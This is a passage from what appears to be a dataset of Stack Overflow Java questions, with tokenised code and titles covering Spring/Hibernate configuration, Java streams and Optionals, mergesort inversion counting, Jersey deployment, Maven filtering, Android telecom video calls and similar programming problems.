javax.management.remote.rmi.RMIConnectionImpl.access $ 300 ( RMIConnectionImpl.java:76 ) @ Configuration @ EnableWebMvc @ EnableTransactionManagement @ ComponentScan ( basePackages = { `` mobi.puut.database '' } ) public class DatabaseConfig { @ Bean public LocalSessionFactoryBean sessionFactory ( ) { // mobi.puut.entities LocalSessionFactoryBean sessionFactory = new LocalSessionFactoryBean ( ) ; sessionFactory.setDataSource ( dataSource ( ) ) ; sessionFactory.setPackagesToScan ( new String [ ] { `` mobi.puut.entities '' } ) ; sessionFactory.setHibernateProperties ( hibernateProperties ( ) ) ; return sessionFactory ; } @ Bean @ Autowired public HibernateTransactionManager transactionManager ( SessionFactory sessionFactory ) { HibernateTransactionManager txManager = new HibernateTransactionManager ( ) ; txManager.setSessionFactory ( sessionFactory ) ; return txManager ; } @ Bean public PersistenceExceptionTranslationPostProcessor exceptionTranslation ( ) { return new PersistenceExceptionTranslationPostProcessor ( ) ; } @ Bean public DataSource dataSource ( ) { DriverManagerDataSource dataSource = new DriverManagerDataSource ( ) ; dataSource.setDriverClassName ( `` com.mysql.cj.jdbc.Driver '' ) ; // dataSource.setUrl ( `` jdbc : mysql : //localhost:3306/wallet ? createDatabaseIfNotExist=true '' ) ; dataSource.setUrl ( `` jdbc : mysql : //localhost:3306/wallet '' ) ; dataSource.setUsername ( `` testuser '' ) ; dataSource.setPassword ( `` testpassword '' ) ; return dataSource ; } Properties hibernateProperties ( ) { Properties properties = new Properties ( ) ; // properties.setProperty ( `` hibernate.hbm2ddl.auto '' , `` create-drop '' ) ; properties.setProperty ( `` hibernate.dialect '' , `` org.hibernate.dialect.MySQL5Dialect '' ) ; return properties ; } } @ Configuration @ EnableWebMvc @ EnableTransactionManagement @ ComponentScan ( basePackages = { `` mobi.puut.controllers '' } ) class ApplicationConfiguration extends WebMvcConfigurerAdapter { @ Override public void configureDefaultServletHandling ( DefaultServletHandlerConfigurer configurer ) { configurer.enable ( ) ; } @ Bean public InternalResourceViewResolver jspViewResolver ( ) { InternalResourceViewResolver bean = new InternalResourceViewResolver ( ) ; bean.setPrefix ( `` /WEB-INF/jsps/ '' ) ; bean.setSuffix ( `` .jsp '' ) ; return bean ; } @ Bean public PlatformTransactionManager transactionManager ( EntityManagerFactory emf ) { JpaTransactionManager transactionManager = new JpaTransactionManager ( ) ; transactionManager.setEntityManagerFactory ( emf ) ; return transactionManager ; } @ Bean public PersistenceExceptionTranslationPostProcessor exceptionTranslation ( ) { return new PersistenceExceptionTranslationPostProcessor ( ) ; } @ Override public void addResourceHandlers ( ResourceHandlerRegistry registry ) { registry.addResourceHandler ( `` /static/** '' ) .addResourceLocations ( `` /resources/ '' ) ; } } @ Configuration @ EnableWebMvc @ ComponentScan ( basePackages = { `` mobi.puut.services '' } ) public class ServiceConfig { } public class WebInitializer implements WebApplicationInitializer { public void onStartup ( ServletContext container ) throws ServletException { AnnotationConfigWebApplicationContext ctx = new AnnotationConfigWebApplicationContext ( ) ; ctx.register ( ApplicationConfiguration.class , ServiceConfig.class , DatabaseConfig.class ) ; ctx.setServletContext ( container ) ; // Manage the lifecycle of the root application context container.addListener ( new ContextLoaderListener ( ctx ) ) ; ServletRegistration.Dynamic servlet = container.addServlet ( `` dispatcher-servlet '' , new DispatcherServlet ( ctx ) ) ; servlet.setLoadOnStartup ( 1 ) ; servlet.addMapping ( `` / '' ) ; } }",Can not create JDBC driver of class for connect URL null +Java,"I need to debug key event dispatch in a Swing application . I thought the following would be sufficient : But nothing happens . ( the loggers report they are enabled , but I can not see any text output ) . Do I need to configure a PrintStream somewhere to see the log messages ?",val eventLog = PlatformLogger.getLogger ( `` java.awt.event.Component '' ) eventLog.setLevel ( PlatformLogger.Level.ALL ) val focusLog = PlatformLogger.getLogger ( `` java.awt.focus.DefaultKeyboardFocusManager '' ) focusLog.setLevel ( PlatformLogger.Level.ALL ),Enable Java Swing logging ( key dispatch ) +Java,"Intro to problem : I am given recipes how to craft items . Recipe is in format : { element that is being crafter } : { list of elements , that is needed } . Before I can craft element x , I need to know how to craft elements it 's made of . So I want to find in what order do I have to learn recipes.For valid input , like following everything works : The problem is , that task is more complex . Time to time I have some recipes missing or thy are invalid . Example of invalid input : { `` F1 : F2 '' , `` F2 : F1 '' } .Code example : mp contains recipe name as key and elements as value , labels are unique mp keys and result will contain answer . I 'm looking for a way to return empty result if infinite loop is met.EditProblem solved.For any Google 's that stumble up this , this is what I came up with :","// Input : { `` F1 : F2 F3 F4 '' , `` F5 : F6 F4 '' , `` F6 : F7 F8 F4 '' , `` F2 : F3 F8 F4 '' , `` F8 : F4 '' , `` F9 : F4 '' , `` F7 : F4 '' , `` F10 : F7 F4 '' , `` F11 : F4 '' , `` F4 : '' , `` F3 : F6 '' } // Output : [ F4 , F7 , F8 , F6 , F3 , F2 , F1 , F5 , F9 , F10 , F11 ] private void getArray ( HashMap < String , ArrayList < String > > mp , ArrayList < String > result , ArrayList < String > labels ) { for ( String a : labels ) { if ( mp.get ( a ) ! = null ) for ( String label : mp.get ( a ) ) getArray ( mp , result , label ) ; if ( ! result.contains ( a ) ) result.add ( a ) ; } } private void getArray ( HashMap < String , ArrayList < String > > mp , ArrayList < String > result , String label ) { if ( result.contains ( label ) ) return ; if ( mp.get ( label ) == null ) { result.add ( label ) ; return ; } for ( String l : mp.get ( label ) ) getArray ( mp , result , l ) ; if ( ! result.contains ( label ) ) result.add ( label ) ; } /** < p > * < b > Topological sort < /b > solves a problem of - finding a linear ordering * of the vertices of < i > V < /i > such that for each edge < i > ( i , j ) ∈ E < /i > , * vertex < i > i < /i > is to the left of vertex < i > j < /i > . ( Skiena 2008 , p. 481 ) * < /p > * * < p > * Method is derived from of < a * href= '' http : //en.wikipedia.org/wiki/Topological_sort # Algorithms '' > Kahn 's * pseudo code < /a > and traverses over vertices as they are returned by input * map . Leaf nodes can have null or empty values . This method assumes , that * input is valid DAG , so if cyclic dependency is detected , error is thrown . * tSortFix is a fix to remove self dependencies and add missing leaf nodes . * < /p > * * < pre > * // For input with elements : * { F1= [ F2 , F3 , F4 ] , F10= [ F7 , F4 ] , F11= [ F4 ] , F2= [ F3 , F8 , F4 ] , F3= [ F6 ] , * F4=null , F5= [ F6 , F4 ] , F6= [ F7 , F8 , F4 ] , F7= [ F4 ] , F8= [ F4 ] , F9= [ F4 ] } * * // Output based on input map type : * HashMap : [ F4 , F11 , F8 , F9 , F7 , F10 , F6 , F5 , F3 , F2 , F1 ] * TreeMap : [ F4 , F11 , F7 , F8 , F9 , F10 , F6 , F3 , F5 , F2 , F1 ] * < /pre > * * @ param g * < a href= '' http : //en.wikipedia.org/wiki/Directed_acyclic_graph '' * > Directed Acyclic Graph < /a > , where vertices are stored as * { @ link java.util.HashMap HashMap } elements . * * @ return Linear ordering of input nodes . * @ throws Exception * Thrown when cyclic dependency is detected , error message also * contains elements in cycle . * */public static < T > ArrayList < T > tSort ( java.util.Map < T , ArrayList < T > > g ) throws Exception/** * @ param L * Answer . * @ param S * Not visited leaf vertices . * @ param V * Visited vertices . * @ param P * Defined vertices . * @ param n * Current element . */ { java.util.ArrayList < T > L = new ArrayList < T > ( g.size ( ) ) ; java.util.Queue < T > S = new java.util.concurrent.LinkedBlockingDeque < T > ( ) ; java.util.HashSet < T > V = new java.util.HashSet < T > ( ) , P = new java.util.HashSet < T > ( ) ; P.addAll ( g.keySet ( ) ) ; T n ; // Find leaf nodes . for ( T t : P ) if ( g.get ( t ) == null || g.get ( t ) .isEmpty ( ) ) S.add ( t ) ; // Visit all leaf nodes . Build result from vertices , that are visited // for the first time . Add vertices to not visited leaf vertices S , if // it contains current element n an all of it 's values are visited . while ( ! S.isEmpty ( ) ) { if ( V.add ( n = S.poll ( ) ) ) L.add ( n ) ; for ( T t : g.keySet ( ) ) if ( g.get ( t ) ! = null & & ! g.get ( t ) .isEmpty ( ) & & ! V.contains ( t ) & & V.containsAll ( g.get ( t ) ) ) S.add ( t ) ; } // Return result . if ( L.containsAll ( P ) ) return L ; // Throw exception . StringBuilder sb = new StringBuilder ( `` \nInvalid DAG : a cyclic dependency detected : \n '' ) ; for ( T t : P ) if ( ! L.contains ( t ) ) sb.append ( t ) .append ( `` `` ) ; throw new Exception ( sb.append ( `` \n '' ) .toString ( ) ) ; } /** * Method removes self dependencies and adds missing leaf nodes . * * @ param g * < a href= '' http : //en.wikipedia.org/wiki/Directed_acyclic_graph '' * > Directed Acyclic Graph < /a > , where vertices are stored as * { @ link java.util.HashMap HashMap } elements . */public static < T > void tSortFix ( java.util.Map < T , ArrayList < T > > g ) { java.util.ArrayList < T > tmp ; java.util.HashSet < T > P = new java.util.HashSet < T > ( ) ; P.addAll ( g.keySet ( ) ) ; for ( T t : P ) if ( g.get ( t ) ! = null || ! g.get ( t ) .isEmpty ( ) ) { ( tmp = g.get ( t ) ) .remove ( t ) ; for ( T m : tmp ) if ( ! P.contains ( m ) ) g.put ( m , new ArrayList < T > ( 0 ) ) ; } }",How to avoid infinite loop while creating a scheduler +Java,"I had some trouble with the evaluation of Java optionals . Consider the following test : My expectation is that since first ( ) returns a non empty Optional , that second is not evaluated . But in fact the output is : Trying the function used in orElse in a test : Output : Why is the second option evaluated ? This seems to be bad ?",@ Testpublic void test ( ) { System.out.println ( `` GOT STRING : `` + first ( ) .orElse ( second ( ) ) ) ; } private Optional < String > first ( ) { System.out.println ( `` Evaluating first '' ) ; return Optional.of ( `` STRING OPTIONAL '' ) ; } private String second ( ) { System.out.println ( `` Evaluating second '' ) ; return `` SECOND STRING '' ; } Evaluating firstEvaluating secondGOT STRING : STRING OPTIONAL @ Testpublic void test2 ( ) { System.out.println ( `` GOT STRING : `` + ( first ( ) ! = null ? `` FIRST IS NOT NULL '' : second ( ) ) ) ; } Evaluating firstGOT STRING : FIRST IS NOT NULL,Java Optional evaluation side Effects +Java,"I have an entity which references a list of type enum . The list is stored in the database as following : The corresponding java class is roughly like this : I checked this and this question for the mapping . Yet I have two issues . First issue is that the userName is not the PK in my UserTable and as far as I know , hibernate does join on the PK . The second issue is this error with the current setup : org.hibernate.LazyInitializationException : failed to lazily initialize a collection of role : com.project.Common.User.roles , could not initialize proxy - no SessionThis error shall be fixed by EAGER loading , but as I tried that one , I got the following error at startup : java.lang.IllegalStateException : Attempt to register multiple SQL table aliases [ roles1_ , roles2_ , etc ] against query space uid [ < gen:1 > ] What do I need to change in order for this mapping to work ? Please note that I would n't like to perform any database changes if that is in any way possible.Also I do think that I would actually have to go with FetchType.EAGER , as I for now only query the database once and would need to get roles as well for later usage . Of course I could also change the way my application handles this and query the roles again when I need them explicitly , tho I am not sure if that way would be better .",userName role -- -- -- -- -- -- -- -- -- -- -- -user0001 role1user0001 role2user0001 role3user0002 role1 @ Entity @ Table ( name = `` UserTable '' ) public class User { @ Id @ GeneratedValue ( strategy = GenerationType.IDENTITY ) @ Column ( name = `` userId '' ) private Integer id ; @ Column ( name = `` user_name '' ) private String userName ; @ ElementCollection ( targetClass = Role.class ) @ CollectionTable ( name = `` User_Roles '' ) @ Column ( name = `` role '' ) @ Enumerated ( EnumType.STRING ) private List < Role > roles ; },How to properly map collection of enums in hibernate ? +Java,"I am currently working on counting inversions exercise using mergesort . The problem I am facing is when I have small or medium sized array the result is perfectly fine however if I use a very large testcase ( an array of 100,000 integers ) it does not give me correct number of inversions . I have no clue as to why is that happening . Here is my code : My solution gives correct answers when not using very large inputs however when I used test case of 100,000 integers that was the number of inversions I got : From my implementation : -30588581433Correct answer is : 2407905288Any ideas ? I would appreciate any sort of help . Thank you.EDIT : As mentioned in the answers about the integer overflow case that is the point I am having a hard time to understand since variable `` count '' which causes overflow is initialized as `` long '' hence there should be no overflow in this case . I can not think of any other variable that would cause integer overflow in my code . Thanks a lot.UPDATE : There was no issue related to Integer overflow but thanks for the answers however Reddy 's answer did point me into right direction so thanks once again . The only mistake in my algorithm was : When it should have been : As we have to subtract from the elements left on the left side of array `` after '' sorting not initially when the subroutine is called since the index changes after sorting . I am writing my updated code in case if anyone else would end up in a similar issue as mine :","static int [ ] helper ; static long count=0 ; static Integer [ ] arr3 ; private static void mergeSortMethod ( Integer [ ] arr3 ) { int head=0 ; int tail=arr3.length-1 ; int mid=tail+ ( ( head-tail ) /2 ) ; sort ( arr3 , head , tail ) ; } private static void sort ( Integer [ ] arr3 , int low , int high ) { if ( high < =low ) { return ; } int mid=low+ ( ( high-low ) /2 ) ; sort ( arr3 , low , mid ) ; sort ( arr3 , mid+1 , high ) ; merge3CountInvs ( arr3 , low , mid , high ) ; } private static void merge3CountInvs ( Integer [ ] arr3 , int low , int mid , int high ) { int i=low ; int j=mid+1 ; int k=low ; //to get size of first half of array int nArr1Elems= ( mid-low ) +1 ; for ( int m=low ; m < =high ; m++ ) { helper [ m ] =arr3 [ m ] ; } while ( i < mid+1 & & j < high+1 ) { // neither array empty if ( helper [ i ] < helper [ j ] ) { arr3 [ k++ ] = helper [ i++ ] ; } else if ( helper [ j ] < helper [ i ] ) { arr3 [ k++ ] = helper [ j++ ] ; int numOFElements=nArr1Elems-i ; count=count+ ( nArr1Elems-i ) ; } } while ( i < mid+1 ) { // arrayB is empty , arr3 [ k++ ] = helper [ i++ ] ; } while ( j < high+1 ) { // arrayA is empty , arr3 [ k++ ] = helper [ j++ ] ; } } int nArr1Elems= ( mid-low ) +1 ; count=count+ ( nArr1Elems-i ) ; count=count+ ( mid-i+1 ) ; static int [ ] helper ; static long count=0 ; static Integer [ ] arr3 ; private static void mergeSortMethod ( Integer [ ] arr3 ) { int head=0 ; int tail=arr3.length-1 ; int mid=tail+ ( ( head-tail ) /2 ) ; sort ( arr3 , head , tail ) ; } private static void sort ( Integer [ ] arr3 , int low , int high ) { if ( high < =low ) { return ; } int mid=low+ ( ( high-low ) /2 ) ; sort ( arr3 , low , mid ) ; sort ( arr3 , mid+1 , high ) ; merge3CountInvs ( arr3 , low , mid , high ) ; } private static void merge3CountInvs ( Integer [ ] arr3 , int low , int mid , int high ) { int i=low ; int j=mid+1 ; int k=low ; for ( int m=low ; m < =high ; m++ ) { helper [ m ] =arr3 [ m ] ; } while ( i < mid+1 & & j < high+1 ) { // neither array empty if ( helper [ i ] < helper [ j ] ) { arr3 [ k++ ] = helper [ i++ ] ; } else if ( helper [ j ] < helper [ i ] ) { arr3 [ k++ ] = helper [ j++ ] ; //to increment count with total number of elements left in arrayA after sorting count=count+ ( mid-i+1 ) ; } } while ( i < mid+1 ) { // arrayB is empty , arr3 [ k++ ] = helper [ i++ ] ; } while ( j < high+1 ) { // arrayA is empty , arr3 [ k++ ] = helper [ j++ ] ; } }",Counting Inversions ( Issue with Large Input ) +Java,"Because many integers can overflow when summed , I needed a long stream to do the job but it wont accept int array . How can I convert each element at the time of streaming instead of using a long array ? Edit : it appears that integer stream is turned into a long one using its method as in Tagir Valeev 's answer . LongStream asLongStream ( ) ;","// arr is an int [ ] LongStream s = Arrays.stream ( arr ) ; // errorresult = s.reduce ( 0 , Long : :sum ) ;",Java LongStream to sum int array elements +Java,"I am pretty new to Jersey REST . I follow the tutorial http : //javapapers.com/java/restful-web-services-with-java-jax-rs-using-jersey/ . It works well locally on Tomcat 7 . But when I deploy it into Openshift , I simply got 404 not found . This is my web.xmlAnd this is my resourceI use http : //localhost:8080/myproject/api/query and it works fine . But in openshift I use http : //market-domain.rhcloud.com/myproject/api/query or http : //market-domain.rhcloud.com/api/query it does n't work . I tried to deploy using Tomcat 7 or JBoss AS 7 but they both gave me the same error . I did n't find any error in log file . Looks like the resource simply does n't exist . I am wondering is my url wrong or anything else ? I should be able to query this rest ws immediately after deploy , right ? Thanks in advance .","< servlet > < servlet-name > Jersey REST Service < /servlet-name > < servlet-class > org.glassfish.jersey.servlet.ServletContainer < /servlet-class > < init-param > < param-name > jersey.config.server.provider.packages < /param-name > < param-value > com.market.ws < /param-value > < /init-param > < load-on-startup > 1 < /load-on-startup > < /servlet > < servlet-mapping > < servlet-name > Jersey REST Service < /servlet-name > < url-pattern > /* < /url-pattern > < /servlet-mapping > @ Path ( `` /api '' ) public class TicketsResource { // Allows to insert contextual objects into the class , // e.g . ServletContext , Request , Response , UriInfo @ Context UriInfo uriInfo ; @ Context Request request ; // Return the list of todos to the user in the browser // With the browser you can only issue HTTP GET requests\ @ Path ( `` /query '' ) @ GET @ Produces ( MediaType.TEXT_XML ) public List < Ticket > getTicketsBrowser ( ) { List < Ticket > tickets = new ArrayList < Ticket > ( ) ; tickets.addAll ( TicketDao.instance.getModel ( ) .values ( ) ) ; return tickets ; } // Return the list of todos for applications // Default for browser GET @ Path ( `` /query '' ) @ GET @ Produces ( { MediaType.APPLICATION_XML , MediaType.APPLICATION_JSON } ) public List < Ticket > getTickets ( ) { List < Ticket > tickets = new ArrayList < Ticket > ( ) ; try { tickets.addAll ( TicketDao.instance.getModel ( ) .values ( ) ) ; } catch ( Exception e ) { e.printStackTrace ( ) ; } return tickets ; } }","Jersey JAX-RS REST 404 in Openshift , working well in local Tomcat" +Java,I have created two instances of java.util.UUID as given below . One is created from UUID.randomUUID ( ) and the other is the same but with some additional digits prepended to the beginning . When these are compared using the UUID.equals method it returns true : I think the added digits are being discarded and both give the same UUID string value . Why this is happening ?,UUID uuid1 = UUID.randomUUID ( ) ; UUID uuid2 = UUID.fromString ( `` 12345 '' +uuid1.toString ( ) ) ; System.out.println ( uuid1.equals ( uuid2 ) ) ; // this gives true .,Why are two different java.util.UUID objects comparing as equal ? +Java,"I am creating a Map < String , String > from List < Person > using java-8 streamBut in above case I want to resolve conflict in name by using person 's age . is there any way to pass merge function something around the lines ( age1 , age2 ) - > // if age1 is greater than age2 return name1 , else return name2 ?","persons.stream ( ) .collect ( Collectors.toMap ( Person : :getNationality , Person : :getName , ( name1 , name2 ) - > name1 )",Collectors.toMap write a merge function on a property of object which is not used a value +Java,"I want to parse a LocalDateTime from the following pattern : That means the usual `` yyyy ... ss '' and then six trailing zeros.So , formatting works fine : and but parsing : The Exception : I ca n't change the format of the input value . How can I parse it correctly ? Is my pattern wrong ? Java Version : 1.8.0_60 on OSX","yyyyMMddHHmmss000000 String p = `` yyyyMMddHHmmss'000000 ' '' ; LocalDateTime.now ( ) .format ( DateTimeFormatter.ofPattern ( p ) ) ; String p , v ; p = `` yyyyMMddHHmmss '' ; // without '000000 ' v = `` 20160131235930 '' ; LocalDateTime.parse ( v , DateTimeFormatter.ofPattern ( p ) ) ; // it worksp = `` yyyy-MMddHHmmss'000000 ' '' ; // with '- ' in betweenv = `` 2016-0131235930000000 '' ; LocalDateTime.parse ( v , DateTimeFormatter.ofPattern ( p ) ) ; // it worksp = `` yyyyMMddHHmmss'000000 ' '' ; // with '000000 ' but without '- ' v = `` 20160131235930000000 '' ; LocalDateTime.parse ( v , DateTimeFormatter.ofPattern ( p ) ) ; // it throws Exception java.time.format.DateTimeParseException : Text '20160131235930000000 ' could not be parsed at index 0at java.time.format.DateTimeFormatter.parseResolved0 ( DateTimeFormatter.java:1947 ) at java.time.format.DateTimeFormatter.parse ( DateTimeFormatter.java:1849 ) at java.time.LocalDateTime.parse ( LocalDateTime.java:492 ) ...",LocalDateTime.parse ( ) with a pattern only numbers +Java,"I am pretty new to multithreading , and I am working on a project where I am trying to utilize 4 CPUs in my Java program . I wanted to do something like Will this guarantee that I will have one thread working per CPU ? At the time that I create the threads , the system will not be busy , however some time afterwards it will be extremely busy . I thought that the OS will pick the least busy CPU to create the threads , but how does it work if none of them are particularly busy at the time of creation ? Also , the thread pool service is supposed to reuse threads , but if it sees there is more availability on another CPU , will it kill the thread and spawn a new one there ?",int numProcessors = Runtime.getRuntime ( ) .availableProcessors ( ) ; ExecutorService e = Executors.newFixedThreadPool ( numProcessors ) ;,Java - relationship between threads and CPUs +Java,I would like know if it good or bad to initialize my model by a request to a webservices or is it better to use an another public method called after the constructorFor example :,class Model { ModelData data ; Model ( Integer model_id ) { data = Request.getDataFromWebServices ( model_id ) ; } },Good or Bad - Use a constructor to initialize model from a remote webservice +Java,"I want to implement a videochat using the system app via connectionservice . https : //developer.android.com/reference/android/telecom/ConnectionService.html . Unfortunately i can not find any example or tutorial how to do it . Here is what i have done : Registering the service : Placing the call : My ConnectionService get called andi place my videoprovider into the connection the system asks for.The phone activity appears and showing me the call with the little camera sign , so the system knows what i want to do.I now somehow expect that the videoprovider methods get called from the system to give me the surfaces for video and so on but no method get called.Does somebody know what am i doing wrong or know where to find a good example of this topic .","TelecomManager manager = ( TelecomManager ) getSystemService ( TELECOM_SERVICE ) ; PhoneAccountHandle phoneAccountHandle = new PhoneAccountHandle ( new ComponentName ( getBaseContext ( ) .getPackageName ( ) , PhoneConnectionService.class.getName ( ) ) , `` myConnectionServiceId '' ) ; PhoneAccount.Builder builder = PhoneAccount.builder ( phoneAccountHandle , Localization.localize ( R.string.IDS_APP_NAME_SHORT ) ) ; builder.setCapabilities ( PhoneAccount.CAPABILITY_CALL_PROVIDER | PhoneAccount.CAPABILITY_CONNECTION_MANAGER| PhoneAccount.CAPABILITY_VIDEO_CALLING ) ; PhoneAccount phoneAccount = builder.build ( ) ; manager.registerPhoneAccount ( phoneAccount ) ; TelecomManager manager = ( TelecomManager ) context.getSystemService ( TELECOM_SERVICE ) ; PhoneAccountHandle phoneAccountHandle = new PhoneAccountHandle ( new ComponentName ( context.getPackageName ( ) , PhoneConnectionService.class.getName ( ) ) , `` estosConnectionServiceId '' ) ; Bundle test = new Bundle ( ) ; test.putParcelable ( TelecomManager.EXTRA_PHONE_ACCOUNT_HANDLE , phoneAccountHandle ) ; test.putInt ( TelecomManager.EXTRA_START_CALL_WITH_VIDEO_STATE , VideoProfile.STATE_BIDIRECTIONAL ) ; test.putParcelable ( TelecomManager.EXTRA_OUTGOING_CALL_EXTRAS , extras ) ; manager.placeCall ( Uri.parse ( `` tel : '' + number ) , test ) ; @ Overridepublic Connection onCreateOutgoingConnection ( PhoneAccountHandle connectionManagerPhoneAccount , ConnectionRequest request ) { Connection conn = new MyAndroidCallConnection ( ) ; conn.setAddress ( request.getAddress ( ) , PRESENTATION_ALLOWED ) ; conn.setInitializing ( ) ; conn.setVideoProvider ( new MyVideoProvider ( ) ) ; conn.setActive ( ) ; return conn ; }",How to implement video with connectionservice +Java,"I have coded an animation which slides out a search bar from my navigation bar when a user clicks on the 'Users ' navigation tab.I want the reverse animation to play if my searchbar loses focus or if the navigation button the user has pressed to to slide the bar out loses focus ( as decribed in fig1 ) I currently achieve the effect by setting the onMouseExited property of the search_wrapper to run my hideUsers ( ) method , but ideally I want to checkHow would I go about achieving this ? I have tired using the .isFocused ( ) method on both elements but that failed to produce any results.Any feedback would be greatly appreciated .",nav_button.setOnMouseExited ( new EventHandler < MouseEvent > ( ) { @ Override public void handle ( MouseEvent e ) { if ( search_wrapper loses focus OR nav_button loses focus ) hideUsers ( ) ; } },JavaFX Check if multiple elements are being hovered +Java,"I have a basic setup where the database is read by multiple web applications , and periodically I have a batch application which does a lot of writing . During the writing , the peroformance of the web-apps degrade heavily ( their database reads are very slow ) .The env . is MySQL db using MYISAM engine , the batch application is a Java SE app , using spring-batch and SimpleJDBCTemplate to issue SQL commands via JDBC . I found that MySQL has a parameter that lowers the priority of write operations on MYISAM engine : low_priority_updates . To quote the docs , amongs others , you can `` SET LOW_PRIORITY_UPDATES=1 to change the priority in one thread '' . I opted for this because it 's easiest from the config standpoint of my application . What I 've done is configured my DataSource such that it exectutes that `` SET ... '' for each connection it opens , like so : Now my question is , how do I actually check that an SQL issued via this datasource does actually run with low priority ? If I do SHOW FULL PROCESSLIST in MySQL while the inserts are happening it just tell me what SQL they 're executing , nothing about the priority : If I check the server variables low_priority_updates is `` OFF '' but that 's just the server variable , it sais nothing about the thread-local value.So again , is there any actual way to check if per query/thread low_priority_updates 's values are taken into account ?",< bean id= '' dataSource '' class= '' org.apache.commons.dbcp.BasicDataSource '' destroy-method= '' close '' > < ! -- other props omitted -- > < property name= '' connectionInitSqls '' > < list > < value > SET low_priority_updates= '' ON '' < /value > < /list > < /property > < /bean >,Low priority updates on MySQL using JDBC - how to check if they work +Java,"This is kind of maddening , and I 've never seen it happen before in several years of working with Maven . A single , simple project ( that I did not write myself ) will randomly fail to filter resources , and I can not figure out what might cause it . I ca n't share the project source code , but I 'll try to share as much of the POM as I can . Keep in mind that the problem is not with the code , it 's with Maven randomly deciding not to filter resources . I initially had this configured in my POM 's build tag : And in my src/main/resources directory I have a file called spring-config.xml . This file has several properties in it that should be replaced by Maven profile properties . I have configured my build profiles like so : To build , I run this command : Now , this project uses Spring and it uses the same Spring config for testing and execution , so the context will create a database connection when test cases are run . Most of the time , the build will complete and the test cases will pass . However , about 1 time in 10 , the test cases will fail because the properties were not replaced and Spring tries to connect to `` $ { db.url } '' rather than `` jdbc : oracle : thin : @ xxx.xxx.com:1521 : xxx '' . Weirdly , about 9 times in 10 , the packaged JAR will have the same problem , despite having just passed the test cases . I checked the target/classes directory , and the files there have the exact same problem . I figured something odd was going on with the Maven resource plugin at a certain point in the lifecycle of the build and maybe it was overwriting the files incorrectly . My bandaid solutionIn the Maven lifecycle , the order is compile- > test- > package . So to force the resources to be filtered on the two phases that were giving me headaches , I configured the resources plugin to run on both the compile and the test phase : This appears to be working consistently , but I still have no earthly idea why I needed to to do this for a single project out of the dozens I 've worked on in the last few years . I 've never seen Maven do something intermittently before , which has me worried that it will break again . Any thoughts would be appreciated .",< resources > < resource > < directory > src/main/resources < /directory > < filtering > true < /filtering > < /resource > < /resources > < profile > < id > stage < /id > < properties > < env.name > STAGE < /env.name > < db.url > jdbc : oracle : thin : @ xxx.xxx.com:1521 : xxx < /db.url > < /properties > < /profile > mvn clean package -P stage < plugin > < groupId > org.apache.maven.plugins < /groupId > < artifactId > maven-resources-plugin < /artifactId > < version > 2.6 < /version > < configuration > < encoding > UTF-8 < /encoding > < /configuration > < executions > < execution > < id > this-is-silly < /id > < phase > compile < /phase > < goals > < goal > resources < /goal > < /goals > < /execution > < execution > < id > why-must-i-exist < /id > < phase > test < /phase > < goals > < goal > resources < /goal > < /goals > < /execution > < /executions > < /plugin >,Maven randomly does not filter resources +Java,"In RxJava I have a Subscriber object wich I subscribe on a Observable . Later on ( some time after onComplete ( ) has been invoked ) I create a new Observable and subscribe with the same Subscriber instance used before . However , that seems not work . Is a subscriber not reusable ? Example : In my code I would like to instantiate a Loader once , and call load ( ) multiple time , for instance after the user clicks on a refresh button ...",class Loader extends Subscriber < T > { public void load ( ) { Observable.just ( `` Foo '' ) .subscribe ( this ) ; } public void onComplete ( ) { // update UI } },Reuse subscriber +Java,"I 'm currently working with a somewhat larger database , and though I have no specific issues , I would like some recommendations , if anyone has any.The database is 2.2 gigabyte ( after recreation/compacting ) . It contains about 50 tables . One of those tables contains a blob plus some metadata . It currently has about 22000 rows . If I remove the blobs from the table ( UPDATE table SET blob = null ) , the database size is reduced to about 200 megabyte ( after recreation/compacting ) . The metadata is accessed a lot , the blobs however are not that often needed.The database URL I currently use is : It runs in our Java VM which has 4GB max heap.Some things I was wondering : Would running H2 in a separate process have any impact on performance ( for better or for worse ) ? Would it help to have the blobs in a separate table with a 1-1 relation to the metadata ? I could imagine it would help with the caching , not having the blobs in the way ? The internet seems divided on whether to include blobs in a database or write them to files on a filesystem with a link in the DB . Any H2-specific advise here ?",jdbc : h2 : D : /data ; AUTO_SERVER=true ; MVCC=true ; CACHE_SIZE=524288,H2 performance recommendations +Java,"I have an android application that uses GLES for rendering . Currently using Java to render stuff , and rendering is fine . Due to limitation in Android Java application memory I plan to integrate native rendering to my Java rendering code.To do this I followed basic native GLES tutorials . After integrating , Java rendering was not visible , only the things I render in C++ was seen.The simplest version of the code is at : https : //github.com/khedd/JavaCppGLESJava code renders a Triangle , C++ renders a Quad . If both are called only Quad is renderer.How can I solve this issue ? Should I port everything to C++ ? Code in a nutshell .","MyGLRenderer ( ) { mTriangle = new Triangle ( ) ; mCppRenderer = new MyCppRenderer ( ) ; } @ Overridepublic void onSurfaceCreated ( GL10 gl , EGLConfig config ) { gl.glClearColor ( 1.0f , 0.0f , 1.0f , 1.0f ) ; //init java triangle mTriangle.init ( ) ; //init c quad mCppRenderer.init ( ) ; //comment this line to make java triangle appear } @ Overridepublic void onSurfaceChanged ( GL10 gl , int width , int height ) { gl.glViewport ( 0 , 0 , width , height ) ; } @ Overridepublic void onDrawFrame ( GL10 gl ) { gl.glClear ( GL10.GL_COLOR_BUFFER_BIT | GL10.GL_DEPTH_BUFFER_BIT ) ; mTriangle.draw ( ) ; mCppRenderer.draw ( ) ; }",Android OpenGLES Rendering using C++ and Java +Java,"In the Java source code for Clojure , I have seen : RT seems to stand for `` run-time '' ( although no official source is given in the answer : In the clojure source code , what does RT stand for ? ) But what does IFn stand for ?",import clojure.lang.RT ; import clojure.lang.IFn ;,What does IFn in Clojure stand for ? +Java,I have a map like the resulting Map should be likeHow can we use Collectors.joining as an intermediate step ?,"key= [ `` a1 '' , `` a2 '' , `` a3 '' ] value = [ [ `` a1.value1 '' , `` a1.value2 '' ] , [ `` a2.value1 '' , `` a2.value2 '' ] ] key = [ `` a1 '' , `` a2 '' , `` a3 '' ] value = [ `` a1.value1 , a1.value2 '' , `` a2.value1 , a2.value2 '' ]","How to Convert a Map < String , List < String > > to Map < String , String > in java 8" +Java,I 'm working on a spring mvc project and I want to convert my jpa configuration that I have in my applicationContext.xml that I wrote when I was working on spring mvc 3 now I want to move to spring Mvc 4 and write all my Jpa configuration just using Java annotations can someone help me This is my applicationContext file : Merci d'avance,< ? xml version= '' 1.0 '' encoding= '' UTF-8 '' ? > < beans xmlns= '' http : //www.springframework.org/schema/beans '' xmlns : xsi= '' http : //www.w3.org/2001/XMLSchema-instance '' xmlns : tx= '' http : //www.springframework.org/schema/tx '' xmlns : context= '' http : 